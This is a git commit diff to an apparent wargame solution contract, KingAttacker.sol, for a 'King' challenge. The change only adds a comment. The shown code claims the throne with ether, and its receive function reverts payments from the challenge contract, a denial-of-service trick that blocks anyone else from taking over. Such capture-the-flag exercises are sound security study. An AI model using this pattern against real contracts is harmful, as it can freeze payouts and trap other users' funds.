update 09-King

tannerang · Mar 1, 2024 · 6a64a61 · 6a64a61
1 parent 636c678
commit 6a64a61
Showing 1 changed file with 4 additions and 1 deletion.
diff --git a/src/09-KingAttacker.sol b/src/09-KingAttacker.sol
@@ -12,7 +12,10 @@ contract KingAttacker {
         (bool success, ) = payable(challengeInstance).call{value: 0.001 ether}("");
         require(success, "failed");
     }
-
+
+    /** 
+     * This is a non-essential receive function
+     */
     receive() external payable {
         require(msg.sender != challengeInstance, "no more king"); 
     }